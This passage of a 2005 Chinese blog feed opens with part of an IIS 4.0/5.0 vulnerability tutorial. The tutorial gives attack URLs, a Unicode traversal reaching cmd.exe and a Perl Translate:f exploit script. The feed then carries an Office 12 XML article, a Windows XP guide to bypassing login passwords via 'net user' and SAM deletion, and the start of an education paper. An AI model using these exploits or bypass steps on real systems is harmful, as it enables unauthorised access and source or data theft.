<P>　　（8）、webhits.dll&nbsp;&amp;&nbsp;.htw&nbsp;</P>
<P>　　这个hit-highligting功能是由Index&nbsp;Server提供的允许一个WEB用户在文档上highlighted（突出）其原始搜索的条目，这个文档的名字通过变量CiWebhitsfile传递给.htw文件，Webhits.dll是一个ISAPI应用程序来处理请求，打开文件并返回结果，当用户控制了CiWebhitsfile参数传递给.htw时，他们就可以请求任意文件，结果就是导致可以查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞，你可以请求如下条目：&nbsp;<BR><A class=contentlink href="http://www./" target=_blank><FONT color=#4455aa>http://www.</FONT></A>目标机.com/nosuchfile.htw&nbsp;</P>
<P>　　如果你从服务器端获得如下信息：&nbsp;</P>
<P>　　format&nbsp;of&nbsp;the&nbsp;QUERY_STRING&nbsp;is&nbsp;invalid&nbsp;</P>
<P>　　这就表示你存在这个漏洞。&nbsp;</P>
<P>这个问题主要就是webhits.dll关联了.htw文件的映射，所以你只要取消这个映射就能避免这个漏洞，你可以在你认为有漏洞的系统中搜索.htw文件，一般会发现如下的程序：&nbsp;　&nbsp;</P>
<P>/iissamples/issamples/oop/qfullhit.htw&nbsp;<BR>/iissamples/issamples/oop/qsumrhit.htw&nbsp;<BR>/isssamples/exair/search/qfullhit.htw&nbsp;<BR>/isssamples/exair/search/qsumrhit.htw&nbsp;<BR>/isshelp/iss/misc/iirturnh.htw&nbsp;（这个一般为loopback使用）&nbsp;</P>
<P>　　攻击者可以使用如下的方法来访问系统中文件的内容：&nbsp;</P>
<P>　　<A class=contentlink href="http://www./" target=_blank><FONT color=#4455aa>http://www.</FONT></A>目标机.com/iissamples/issamples/oop/qfullhit.htw?&nbsp;<BR>ciwebhitsfile=/../../winnt/win.ini&amp;cirestriction=none&amp;cihilitetype=full&nbsp;</P>
<P>　　就会在有此漏洞系统中win.ini文件的内容。&nbsp;</P>
<P>　　（9）、ASP&nbsp;Alternate&nbsp;Data&nbsp;Streams（::$DATA）&nbsp;</P>
<P>　　$DATA这个漏洞是在1998年中期公布的，$DATA是在NTFS文件系统中存储在文件里面的main&nbsp;data&nbsp;stream属性，通过建立一个特殊格式的URL，就可能使用IIS在浏览器中访问这个data&nbsp;stream（数据流），这样做也就显示了文件代码中这些data&nbsp;stream（数据流）和任何文件所包含的数据代码。&nbsp;</P>
<P>　　其中这个漏洞需要下面的几个限制，一个是要显示的这个文件需要保存在NTFS文件分区（幸好为了"安全"好多服务器设置了NTFS格式），第二是文件需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字，WIN&nbsp;NT中的IIS1.0,&nbsp;2.0,&nbsp;3.0和4.0都存在此问题。微软提供了一个IIS3.0和4.0的版本补丁，要查看一些.asp文件的内容，你可以请求如下的URL：&nbsp;</P>
<P>　　<A class=contentlink href="http://www./" target=_blank><FONT color=#4455aa>http://www.</FONT></A>目标机.com/default.asp::$DATA&nbsp;你就得到了源代码。你要了解下NTFS文件系统中的数据流问题，你或许可以看看这文章：&nbsp;</P>
<P>　　<A class=contentlink href="http://focus.silversand.net/newsite/skill/ntfs.txt" target=_blank><FONT color=#4455aa>http://focus.silversand.net/newsite/skill/ntfs.txt</FONT></A>&nbsp;</P>
<P>　　（10）、ISM.DLL&nbsp;缓冲截断漏洞&nbsp;</P>
<P>　　这个漏洞存在于IIS4.0和5.0中，允许攻击者查看任意文件内容和源代码。通过在文件&nbsp;名后面追加近230个+或者?%20?（这些表示空格）并追加?.htr?的特殊请求给IIS，会使IIS认为客户端请求的是?.htr?文件，而.htr文件的后缀映射到ISM.DLL&nbsp;ISAPI应用程序，这样IIS就把这个.htr请求转交给这个DLL文件，然后ISM.DLL程序把传递过来的文件打开和执行，但在ISM.DLL&nbsp;截断信息之前,缓冲区发送一个断开的&nbsp;.Htr&nbsp;并会延迟一段时间来返回一些你要打开的文件内容。可是要注意，除非&nbsp;WEB&nbsp;服务停止并重启过，否则这攻击只能有效执行一次。如果已经发送过一个&nbsp;.htr&nbsp;请求到机器上,那么这攻击会失效.它只能在&nbsp;ISM.DLL&nbsp;第一次装入内存时工作。&nbsp;</P>
<P>　　<A class=contentlink href="http://www./" target=_blank><FONT color=#4455aa>http://www.</FONT></A>目标机.com/global.asa%20%20（...《=230）global.asa.htr&nbsp;</P>
<P>　　（11）、存在的一些暴力破解威胁.htr程序&nbsp;<BR>IIS4.0中包含一个严重漏洞就是允许远程用户攻击WEB服务器上的用户帐号，就是你的WEB服务器是通过NAT来转换地址的，还可以被攻击。每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd，这个目录包含多个.htr文件，匿名用户允许访问这些文件，这些文件刚好没有规定只限制在loopback&nbsp;addr（127.0.0.1），请求这些文件就跳出对话框让你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下：&nbsp;</P>
<P>c:\winnt\system32\inetsrv\iisadmpwd&nbsp;<BR>Achg.htr&nbsp;<BR>Aexp.htr&nbsp;<BR>Aexp2.htr&nbsp;<BR>Aexp2b.htr&nbsp;<BR>Aexp3.htr&nbsp;<BR>Aexp4.htr&nbsp;<BR>Aexp4b.htr&nbsp;<BR>Anot.htr&nbsp;<BR>Anot3.htr&nbsp;</P>
<P>　　这样，攻击者可以通过暴力来猜测你的密码。如果你没有使用这个服务，请立即删除这个目录。&nbsp;</P>
<P>　　（12）、Translate:f&nbsp;Bug&nbsp;</P>
<P>　　这个漏洞发布于2000年8月15号<A class=contentlink href="http://www.securityfocus.com/bid/1578" target=_blank contentlink><FONT color=#4455aa>www.securityfocus.com/bid/1578</FONT></A>），其问题是存在OFFICE&nbsp;2000和FRONTPAGE&nbsp;2000Server&nbsp;Extensions中的WebDAV中，当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP&nbsp;GET加上Translate:f后缀，并在请求文件后面加/就会显示文件代码，当然在没有打WIN2K&nbsp;SP1补丁为前提。这个是W2K的漏洞，但由于FP2000也安装在IIS4.0上，因此在IIS4.0上也有这个漏洞，你可而已使用下面的脚本来利用这个漏洞：&nbsp;</P>
<P>#############################&nbsp;<BR>use&nbsp;IO::Socket；&nbsp;#&nbsp;<BR>my&nbsp;（$port,&nbsp;$sock,$server）；&nbsp;#&nbsp;<BR>$size=0；&nbsp;#&nbsp;<BR>#############################&nbsp;<BR>#&nbsp;<BR>$server="$ARGV[0]"；&nbsp;<BR>$s="$server"；&nbsp;<BR>$port="80"；&nbsp;<BR>$cm="$ARGV[1]"；&nbsp;<BR>&amp;connect；&nbsp;<BR>sub&nbsp;connect&nbsp;{&nbsp;<BR>if&nbsp;（$#ARGV&nbsp;《&nbsp;1）&nbsp;{&nbsp;<BR>howto（）；&nbsp;<BR>exit；&nbsp;<BR>}&nbsp;<BR>$ver="GET&nbsp;/$cm%5C&nbsp;HTTP/1.0&nbsp;<BR>Host:&nbsp;$server&nbsp;<BR>Accept:&nbsp;*/*&nbsp;<BR>Translate:&nbsp;f&nbsp;<BR>\n\n"；&nbsp;<BR>my（$iaddr,$paddr,$proto）；&nbsp;<BR>$iaddr&nbsp;=&nbsp;inet_aton（$server）&nbsp;||&nbsp;die&nbsp;"Error:&nbsp;$!"；&nbsp;<BR>$paddr&nbsp;=&nbsp;sockaddr_in（$port,&nbsp;$iaddr）&nbsp;||&nbsp;die&nbsp;"Error:&nbsp;$!"；&nbsp;<BR>$proto&nbsp;=&nbsp;getprotobyname（'tcp'）&nbsp;||&nbsp;die&nbsp;"Error:&nbsp;$!"；&nbsp;<BR>socket（SOCK,&nbsp;PF_INET,&nbsp;SOCK_STREAM,&nbsp;$proto）&nbsp;||&nbsp;die&nbsp;"Error:&nbsp;<BR>$!"；&nbsp;<BR>connect（SOCK,&nbsp;$paddr）&nbsp;||&nbsp;die&nbsp;"Error:&nbsp;$!"；&nbsp;<BR>send（SOCK,&nbsp;$ver,&nbsp;0）&nbsp;||&nbsp;die&nbsp;"Can't&nbsp;to&nbsp;send&nbsp;packet:&nbsp;$!"；&nbsp;<BR>open（OUT,&nbsp;"》$server.txt"）；&nbsp;<BR>print&nbsp;"Dumping&nbsp;$cm&nbsp;to&nbsp;$server.txt&nbsp;\n"；&nbsp;<BR>while（《SOCK》）&nbsp;{&nbsp;<BR>print&nbsp;OUT&nbsp;《SOCK》；&nbsp;<BR>}&nbsp;<BR>sub&nbsp;howto&nbsp;{&nbsp;<BR>print&nbsp;"type&nbsp;as&nbsp;follows:&nbsp;Trans.pl&nbsp;www.目标机.com&nbsp;codetoview.asp&nbsp;\n\n"；&nbsp;<BR>}&nbsp;<BR>close&nbsp;OUT；&nbsp;<BR>$n=0；&nbsp;<BR>$type=2；&nbsp;<BR>close（SOCK）；&nbsp;<BR>exit（1）；&nbsp;<BR>}&nbsp;</P>
<P>　　你可以使用下面的方法来获得源代码：Trasn.pl&nbsp;www.目标机.com&nbsp;default.asp&nbsp;</P>
<P>　　（13）、IIS存在的Unicode解析错误漏洞&nbsp;</P>
<P>　　NSFOCUS安全小组发现微软IIS&nbsp;4.0和IIS&nbsp;5.0在Unicode字符解码的实现中存在一个安全漏洞，导致用户可以远程通过IIS执行任意命令。当IIS打开文件时，如果该文件名包含unicode字符，它会对其进行解码，如果用户提供一些特殊的编码，将导致IIS错误的打开或者执行某些web根目录以外的文件。&nbsp;</P>
<P>　　你可以使用下面的方法利用这个漏洞：&nbsp;</P>
<P>　　（1）&nbsp;如果系统包含某个可执行目录，就可能执行任意系统命令。下面的URL可能列出当前目录的内容：&nbsp;<BR>　　<A class=contentlink href="http://www./" target=_blank><FONT color=#4455aa>http://www.</FONT></A>目标机.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir&nbsp;</P>
<P>　　（2）&nbsp;利用这个漏洞查看系统文件内容也是可能的：&nbsp;</P>
<P>　　<A class=contentlink href="http://www./" target=_blank><FONT color=#4455aa>http://www.</FONT></A>目标机.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini&nbsp;</P>
<P>　　这个漏洞是针对中文操作平台，你也可以使用"%c0%af"或者"%c1%9c"来测试英文版本，原因就是编码不同。&nbsp;<BR></P></DIV></DIV>
<BLOCKQUOTE></BLOCKQUOTE><BR>]]></description>
</item><item>
<title><![CDATA[微软Office 12：走向大同 还是坟墓？]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=anchen0617&amp;id=8173</link>
<author>anchen0617</author>
<pubDate>2005/9/1 1:12:35</pubDate>
<description><![CDATA[<STRONG><BR></STRONG>
<DIV width="100%">
<DIV style="FLOAT: right"><STRONG></STRONG></DIV>
<DIV>--------------------------------------------------------------------------------<BR>&nbsp;<BR><A class=contentlink href="http://www.sina.com.cn/" target=_blank><FONT color=#4455aa>http://www.sina.com.cn</FONT></A>&nbsp;2005年06月09日&nbsp;09:12&nbsp;IT168.com&nbsp;<BR>&nbsp;<BR>　　作者：IT168&nbsp;狐狸猫 
<P></P>
<P>　　虽然距离微软Office&nbsp;12的发布还遥遥无期，但关于微软Office新版中将把XML引入文件默认格式的消息已经是铁板订钉。当.docx、.xlsx、.pptx取代沿袭已久的.doc、.xls、.ppt走进案头的文档，我们是应该接纳它以证明思维的年轻，还是让自己随Office&nbsp;11一同老去？</P>
<P>&nbsp;<BR>&nbsp;<BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;<BR>&nbsp;<BR>　　XML，凭什么受宠Office？</P>
<P>　　XML(可扩展标记语言)是由W3C于1998年2月发布的一种标准。它将SGML(通用标识语言标准)的丰富功能与HTML(超文本标记语言)的易用性结合到Web的应用中，以一种开放的自我描述方式定义了数据结构，在描述数据内容的同时能突出对结构的描述，从而体现数据之间的关系。</P>
<P>　　XML相对而言有许多独特的优点，如：</P>
<P>　　1.&nbsp;更有意义的搜索</P>
<P>　　2.&nbsp;开发灵活的Web应用软件</P>
<P>　　3.&nbsp;不同来源数据的集成</P>
<P>　　4.&nbsp;多种应用得到的数据</P>
<P>　　5.&nbsp;本地计算和处理</P>
<P>　　6.&nbsp;数据的多样显示</P>
<P>　　7.&nbsp;粒状的更新</P>
<P>　　8.&nbsp;在Web上发布数据</P>
<P>　　9.&nbsp;升级性</P>
<P>　　10.&nbsp;压缩性</P>
<P>　　11.&nbsp;开放的标准</P>
<P>　　Web标记语言自始至终一直受到微软的关注，1998年1月，微软公司出版发行了MSXSL程序，可以利用XSL表和XML文档创建能被IE4识别的html页面。1998年2月，当W3C发布了XML&nbsp;1.0正式版本后，微软公司更是积极跟进。目前全球最著名的两大xml研究组织中，biztalk.com由微软牵头组织，而oasis.org中微软也为其成员之一。由于两大组织负责向W3C提出标准的建议，所以从另一个侧面来说，微软可以影响XML标准的实施细节(微软XML设计师Jean&nbsp;Paoli曾参与了XML1.0标准的制定工作)。</P>
<P>　　除了在网络浏览器中的应用，在Office软件领域，微软在Office&nbsp;2000版本中就开始支持许多添加的XML特性和技术。至于其后的Office&nbsp;XP及Office&nbsp;2003，XML已经逐步深入软件核心。此番XML成功介入Office默认文档格式也似乎顺理成章、水到渠成。在微软的官方网站上，列出了新格式存在的优势：</P>
<P>　　1、支持文档压缩：文档将被自动压缩，在某些情况下新格式将比原格式缩小尺寸达75%。</P>
<P>　　2、损坏文件的恢复将得到改善，模块化的数据存储使得即便一个文件中的内部组件(如图、表)被损坏也可以正常打开。</P>
<P>　　3、文档更安全：嵌入代码(如OLE、宏)在文档中储存为独立的部分，因此这很容易通过专用进程识别，管理员可阻止文档中不必要的宏和控制，从而使用户在打开文档时更安全。</P>
<P>　　4、轻易整合：开发者可以直接使用文档中的内容，包括图表、注释、文档元数据等。</P>
<P>　　5、透明和改良的信息安全性。</P>
<P>　　6、兼容性：通过一个简单的更新，Office&nbsp;2000,&nbsp;Office&nbsp;XP,&nbsp;和Office&nbsp;2003等版本的用户可直接打开、编辑并储存Office&nbsp;XML格式。</P>
<P>　　Office中提供XML支持的真正威力在于它作为解决方案平台的能力。XML是应用程序之间理想的数据传输格式，使用户和组织可以更方便地找到有效的解决方案。对于未来的.NET平台，XML不仅是一种重要的W3C标准，也是一种核心数据传输机制。Office所具有的XML支持功能，意味着Office应用程序现在可以与其他使用XML的商务解决方案相集成。对于我们最终用户而言，由于只需使用一个集成的应用程序环境，因此可有效地提高生产率，更快掌握新的应用程序，同时降低日常工作的复杂性。</P>
<P>　　“未来的Office&nbsp;12能够使公司员工更轻易地实现办公自动化，减少他们耗费在应对繁杂的信息环境方面的时间”&nbsp;，在上月举办的一个新闻发布会上，微软公司主席Bill&nbsp;Gates曾如此表示。微软商务营销团队的高级营销主管Betsy&nbsp;Frost也称：Office&nbsp;12所延伸的XML的性能，将对商务公司和企业的工人操作带来方便，因为他们需要在同一时间连接到多个不同的数据库间进行操作。&nbsp;</P>
<P>&nbsp;<BR>Office&nbsp;12，新格式挑战谁？</P>
<P>　　尽管从长期来看XML会使微软公司的客户受益，但在短期内会采用新的文档格式依然会带来部署问题。之前，微软公司在Office&nbsp;97中改变文件格式时，由于文件格式转换工具推出迟缓，“迫使”客户大规模地升级到了Office&nbsp;97平台。虽然，微软此番不断宣称将开发文件转换工具以使旧版Office用户轻松面对升级，但如果仅仅是文档格式的改变，并不足以立即引起人们升级的兴趣。毕竟升级是要花不少银子的！</P>
<P>　　新格式将首先挑战的将是微软自身。Gartner的分析师迈克尔指出，改变文件格式对于微软公司而言存在着巨大的风险。还有许多用户在使用老版本的Office，他们不需要XML，或者认为他们不需要。如果必须改变文件格式，他们可能会转向OpenOffice。由Sun公司开发的办公软件OpenOffice和StaOffice，两种软件都基于XML语言格式，其中OpenOffice软件的零售价格在80美元左右，较之微软产品极具价格优势。</P>
<P>&nbsp;<BR>国际知名XML技术站点<A class=contentlink href="http://www.xml.org/" target=_blank contentlink><FONT color=#000050>www.xml.org</FONT></A>&nbsp;</P>
<P><BR>　　相比之前Office&nbsp;2003版中，XML功能仅仅局限于若干版本的Office中，此次XML的大范围应用可谓“全面开花”。而且Office&nbsp;2003中XML功能的引入并未能像人们想像中那样引发普及热潮，所以对于Office&nbsp;12，除了企业级的大宗用户外，对旧版本充满依恋的用户将如何选择？继续使用旧版软件持币观望？还是如洪水般涌向其它产品？特别是开放源代码产品。</P>
<P>　　“通过更全面地支持XML，微软公司会吸引客户而不是令其转向其它软件厂商”，微软XML设计师Jean&nbsp;Paoli预测，一方面客户才刚刚开始意识到开放标准将改变他们浏览各种技术的方式，另一方面企业需要更复杂的工具生成、存储、分析基于XML的内容，而微软公司将帮助客户实现这种能力。</P>
<P>　　对于是否会产生用户大量流失的局面，Forrester资讯公司的分析师马克汉姆表示，欧洲和亚洲的客户可能会更加认真地考虑使用开放源代码软件等Office的替代性产品，但他相信大多数企业将采取观望的态度，在寻求其它帮助前，它们会找出微软公司的新设计如何帮助它们实现现有的目标。</P>
<P>　　推出一种基于开放标准的文件格式，将使竞争对手有机会推出与其软件功能相当的产品。对于可能遭遇的境况，微软公司并非熟视无睹。但微软公司坚信，开发这样的一款产品决非易事。&nbsp;</P>
<P>　　抛开微软的自信不提，从另一个侧面来分析，XML格式的推广对微软也会产生积极的一面。因为之前许多人指责微软公司“利用专有文件格式打击竞争对手锁定客户”，而Office&nbsp;12的推出将粉碎这一理论。微软公司也表示，在Office中支持XML将解决对其产品的主要不满之一：通过不让客户将Office与其它工具集成而锁定客户。&nbsp;</P>
<P>　　除了降低公众敌意，分析师认为在与微软公司谈判许可价格时，客户再也不能使用开放源代码办公软件与微软公司作为讨价还价的筹码了。</P>
<P>国产Office，跟进还是抵制？</P>
<P>　　在微软Office公布将采用新文档格式的消息发布不久，Windows将与Mac充分兼容Office的消息也被媒体证实。微软官方表示，苹果版Office&nbsp;12会继续与Windows&nbsp;Office保持紧密关系，以保证充分的跨平台兼容的能力。苹果版Office&nbsp;12除支持XML格式之外，也同样有能力恢复“当机”时的数据和文件，创建体积更小的文档资料。</P>
<P>　　Office&nbsp;12之于Windows和Mac两大操作平台双双发力，展示了微软力推下一代Office的霸气。不过，微软公司此番的“特立独行”并未在短期引起其它Office软件厂商的共鸣，Office新格式将成为万人追捧的新教皇，还是形单影支的异教徒？</P>
<P>　　从微软Office诞生已经有20个年头，一度以来，微软Office的文档格式、界面设计、操作方式已成为Office类软件的公认标准。之于竞争激烈的国内办公软件市场更是如此，金山、永中、中文2000等几大厂商无不以模仿为荣。此番Office&nbsp;12推出默认新格式，是否将引发另一轮模仿狂潮？</P>
<P>　　针对这一问题，记者随即采访了金山公司副总裁葛珂先生。葛先生表示对于微软新格式的报道此前了解一些，但目前并没有接到官方确切的消息，因此目前金山Office软件将继续维持现在的产品线。至于将来会不会增加与Office&nbsp;12相兼容的格式，需要进一步看事态发展决定。不过，在对XML的支持方面，早在2003年初，金山公司就已经对外宣称：金山WPS&nbsp;Office&nbsp;V6是基于XML标准的新一代网络办公系统平台，可以同时运行在Windows和Linux两种操作平台，届时将成为国内成熟的协同办公软件和办公系统平台。</P>
<P>　　同相，国产Office阵营的另一员虎将——永中Office，在2003年1月推出英文版时，文档格式方面就已经支持XML文件格式。其它，中文2000Office、中标普华Office等主流国产Office产品也已将XML纳入自身产品。</P>
<P>　　其实早在2002年初，在北京市科委的大力支持下，由中科院软件所电子商务技术研究中心联合国内知名的办公软件开发商（金山、永中、中文2000）、办公软件集成厂商等，就XML的办公软件文档格式标准开展了长达一年的研究攻关。2003年8月底，由中国电子技术标准化研究所牵头，包括国家有关部委、中科院软件所、国产办公软件厂商，以及国内产、学、研、用领域的专家又在广东珠海进行了为期一周的封闭式开发交流会。讨论的内容就是加速开发国家863科研重点项目之一的“&nbsp;XML”文件格式标准。通过借鉴OpenOffice及微软WordML的基本思想，结合中文办公软件功能需求的实际，符合中国办公软件特点的文档格式标准coXML（Chinese&nbsp;Office&nbsp;XML）被提出，而且在此基础上建立了中文办公文档格式扩展名.UOF。</P>
<P>　　虽然相关的标准仍需进一步优化和推广，但国产办公软件毕竟已经迈出了可喜的一步，尤其是面对微软新格式的出台，国产XML标准的确定和实施也将逐步提上日程。在未来，国产Office软件必将与微软Office&nbsp;12有一场血战！</P>
<P>&nbsp;&nbsp;&nbsp;<BR>微软官方网站<A class=contentlink href="http://www.microsoft.com/office/preview" target=_blank contentlink><FONT color=#4455aa>www.microsoft.com/office/preview</FONT></A>）提供更多相关信息<BR>&nbsp;</P>
<P><BR>　　Office&nbsp;12何时发布？按照微软的计划最快也到2006年的第二季度。微软过早地向外泄密，其实也是在借助媒体向外界试探。除了新一轮竞争的惨烈，Office&nbsp;12又将带来哪些机会呢？微软目前已经公开承诺鼓励第三方软件厂商创建“过滤件”，并为其提供合适的文件帮助。不过，类似的用户需求毕竟有限。但无论如何，XML注定已经与Office软件结缘。</P>
<P>　　XML是否会成就世界性的办公文档格式标准？以目前的利益之争来看，短期内还无法实现。不过在新的一轮起步之前，至少我们有理由相信，国产办公软件正逐步缩小与国外巨头的差距。2006，让我们一起祝愿国产软件一路走好！</P>
<P>相关技术站点和技术文章</P>
<P><BR>　　<A class=contentlink href="http://bbs.xml.org.cn/index.asp" target=_blank><FONT color=#000050>http://bbs.xml.org.cn/index.asp</FONT></A><BR>　　中国XML论坛</P>
<P>　　<A class=contentlink href="http://www.xml.org/" target=_blank><FONT color=#000050>http://www.xml.org/</FONT></A><BR>　　世界知名XML研究机构官网</P>
<P>　　<A class=contentlink href="http://www.microsoft.com/office/preview" target=_blank><FONT color=#4455aa>http://www.microsoft.com/office/preview</FONT></A><BR>　　微软Office&nbsp;XML技术预览官网</P>
<P>　　<A class=contentlink href="http://www.xml.org.cn/index.html" target=_blank><FONT color=#4455aa>http://www.xml.org.cn/index.html</FONT></A><BR>　　中国万维网联盟(W3CHINA)子站点</P>
<P>　　<A class=contentlink href="http://www.microsoft.com/china/msdn/library/office/office/OFF2k3unlock.mspx" target=_blank><FONT color=#4455aa>http://www.microsoft.com/china/msdn/library/office/office/OFF2k3unlock.mspx</FONT></A><BR>　　技术文章：使用XML&nbsp;在&nbsp;Microsoft&nbsp;Office&nbsp;2003&nbsp;中解除信息锁定</P>
<P>　　<A class=contentlink href="http://www.microsoft.com/china/msdn/library/office/office/XMLOfficeWord2003.mspx" target=_blank><FONT color=#4455aa>http://www.microsoft.com/china/msdn/library/office/office/XMLOfficeWord2003.mspx</FONT></A><BR>　　技术文章：Microsoft&nbsp;Office&nbsp;Word&nbsp;2003&nbsp;中的&nbsp;XML</P>
<P>　　<A class=contentlink href="http://www.ec.org.cn/2004-05/09/content_4138804.htm" target=_blank><FONT color=#4455aa>http://www.ec.org.cn/2004-05/09/content_4138804.htm</FONT></A><BR>　　技术文章：中文办公软件文档格式XML标准研究</P></DIV></DIV>]]></description>
</item><item>
<title><![CDATA[Windows XP系统登录密码丢失后解决方案]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=anchen0617&amp;id=8171</link>
<author>anchen0617</author>
<pubDate>2005/9/1 0:53:48</pubDate>
<description><![CDATA[<STRONG><BR></STRONG>
<DIV width="100%">
<DIV style="FLOAT: right"><STRONG></STRONG></DIV>
<DIV>Windows&nbsp;XP系统登录密码丢失后解决方案 
<P></P>
<P>一、利用NET命令<BR>　　我们知道在Windows&nbsp;XP中提供了“net&nbsp;user”命令，该命令可以添加、修改用户账户信息，其语法格式为：<BR>　　net&nbsp;user&nbsp;[UserName&nbsp;[Password&nbsp;|&nbsp;*]&nbsp;[options]]&nbsp;[/domain]<BR>　　net&nbsp;user&nbsp;[UserName&nbsp;{Password&nbsp;|&nbsp;*}&nbsp;/add&nbsp;[options]&nbsp;[/domain]<BR>　　net&nbsp;user&nbsp;[UserName&nbsp;[/delete]&nbsp;[/domain]]<BR>　　每个参数的具体含义在Windows&nbsp;XP帮助中已做了详细的说明，在此笔者就不多阐述了。好了，我们现在以恢复本地用户“KINGMING”口令为例，来说明解决忘记登录密码的步骤：<BR>　　1、重新启动计算机，在启动画面出现后马上按下F8键，选择“带命令行的安全模式”。<BR>　　2、运行过程结束时，系统列出了系统超级用户“administrator”和本地用户“KINGMING”的选择菜单，鼠标单击“administrator”，进入命令行模式。<BR>　　3、键入命令：“net&nbsp;user&nbsp;KINGMING&nbsp;123456&nbsp;/add”，强制将“KINGMING”用户的口令更改为“123456”。若想在此添加一新用户（如：用户名为abcdef，口令为123456）的话，请键入“net&nbsp;user&nbsp;abcdef&nbsp;123456&nbsp;/add”，添加后可用“net&nbsp;localgroup&nbsp;administrators&nbsp;abcdef&nbsp;/add”命令将用户提升为系统管理组“administrators”的用户，并使其具有超级权限。<BR>　　4、重新启动计算机，选择正常模式下运行，就可以用更改后的口令“123456”登录“KINGMING”用户了。<BR>========================<BR>2,利用“administrator”<BR>　　我们知道在安装Windows&nbsp;XP过程中，首先是以“administrator”默认登录，然后会要求创建一个新账户，以便进入Windows&nbsp;XP时使用此新建账户登录，而且在Windows&nbsp;XP的登录界面中也只会出现创建的这个用户账号，不会出现“administrator”，但实际上该“administrator”账号还是存在的，并且密码为空。<BR>　　当我们了解了这一点以后，假如忘记了登录密码的话，在登录界面上，按住Ctrl+Alt键，再按住Del键二次，即可出现经典的登录画面，此时在用户名处键入“administrator”，密码为空进入，然后再修改“KINGMING”的口令即可。<BR>=========================================<BR>3：大家知道，WindowsXP的密码存放在系统所在的Winnt\System32\Config下SAM文件中，SAM文件即账号密码数据库文件。当我们登录系统的时&nbsp;候，系统会自动地和Config中的SAM自动校对，如发现此次密码和用户名全与SAM文件中的加密数据符合时，你就会顺利登录;如果错误则无法登录。既然如此，我们的第一个方法就产生了：删除SAM文件来恢复密码。&nbsp;<BR>　　如果你不用管本来系统卡包含的任意账号，而且有两个操作系统的话，可以使用另外一个能访问NTFS的操作系统启动电脑，或者虽然没有安装两个系统，但可以使用其他工具来访问NTFS。然后删除C：\WINNT\system32\config目录下的SAM文件，重新启动。这时，管理员Administrator账号就没有密码了。当然，取下硬盘换到其他机器上来删除SAM文件也算个好办法。&nbsp;<BR>　　小提示：WindowsNT/2000/XP中对用户账户的安全管理使用了安全账号管理器(Security&nbsp;AccountManager,SAM)的机制，安全账号管理器对账号的管理是通过安全标识进行的，安全标识在账号创建时就同时创建，一旦账号被删除，安全标识也同时被删除。安全标识是惟一的，即使是相同的用户名，在每次创建时获得的安全标识都是完全不同的。因此，一旦某个账号被删除，它的安全标识就不再存在了，即使用相同的用户名重建账号，也会被赋予不同的安全标识，不会保留原未的权限&nbsp;。&nbsp;<BR>　　安全账号管理器的具体表现就是%SystemRoot%\system32\config\sam文件。SAM文件是WindowsNT/2000/XP的用户账户数据库，所有用户的登录名及口令等相关信息部会保存在这个文件中。</P></DIV></DIV>]]></description>
</item><item>
<title><![CDATA[[教育理论]戴尔的“经验之塔”在网络化时代的发展]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=anchen0617&amp;id=6834</link>
<author>anchen0617</author>
<pubDate>2005/6/27 0:16:53</pubDate>
<description><![CDATA[
<DIV class=Section1 style="LAYOUT-GRID-CHAR: none; LAYOUT-GRID-LINE: 15.85pt">
<P align=center style="TEXT-ALIGN: center"><B>戴尔的<SPAN lang=EN-US>“经验之塔”在网络化时代的发展<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></SPAN></B></P>
<P align=center class=MsoNormal style="TEXT-ALIGN: center"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">王廷强</SPAN><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">宋艳军<BR><A href="http://218.22.0.27/lunwen/dianziban/200204/04.htm">http://218.22.0.27/lunwen/dianziban/200204/04.htm</A></SPAN></P>
<P style="TEXT-INDENT: 24pt; mso-char-indent-count: 2.0; mso-char-indent-size: 12.0pt">摘要：本文主要是从美国教育家爱德加<SPAN lang=EN-US>·戴尔(Edger.Dale)提出的著名的“经验之塔”理论和人类进入二十一世纪网络时代之后人类的学习内容、学习方式发生的巨大变化来分析、讨论人类在网络化环境中的“经验之塔”及其对我们学习的指导意义。</SPAN></P>
<P style="TEXT-INDENT: 23.55pt; mso-char-indent-count: 2.0; mso-char-indent-size: 11.75pt">关键词：经验之塔<SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp; </SPAN>网络化<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>经验<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>学习资源</SPAN></P>
<P style="TEXT-INDENT: 24pt; mso-char-indent-count: 2.0; mso-char-indent-size: 12.0pt">中图分类号：<SPAN lang=EN-US>G40－057</SPAN></P>
<P style="TEXT-INDENT: 24pt; mso-char-indent-count: 2.0; mso-char-indent-size: 12.0pt">如今随着计算机与网络技术的普及，二十一世纪是网络化的时代，网络技术正在渗透到社会的各个领域，正在改变人类所赖以生存的社会环境，并因此使人类的生活和工作环境具备了更多的网络化特征，使人类的生产、生活、工作和学习乃至思维方式都在发生着巨大变化。可以预言，在不久的将来人类将无法离开网络而生活，就好像我们今天无法离开<SPAN 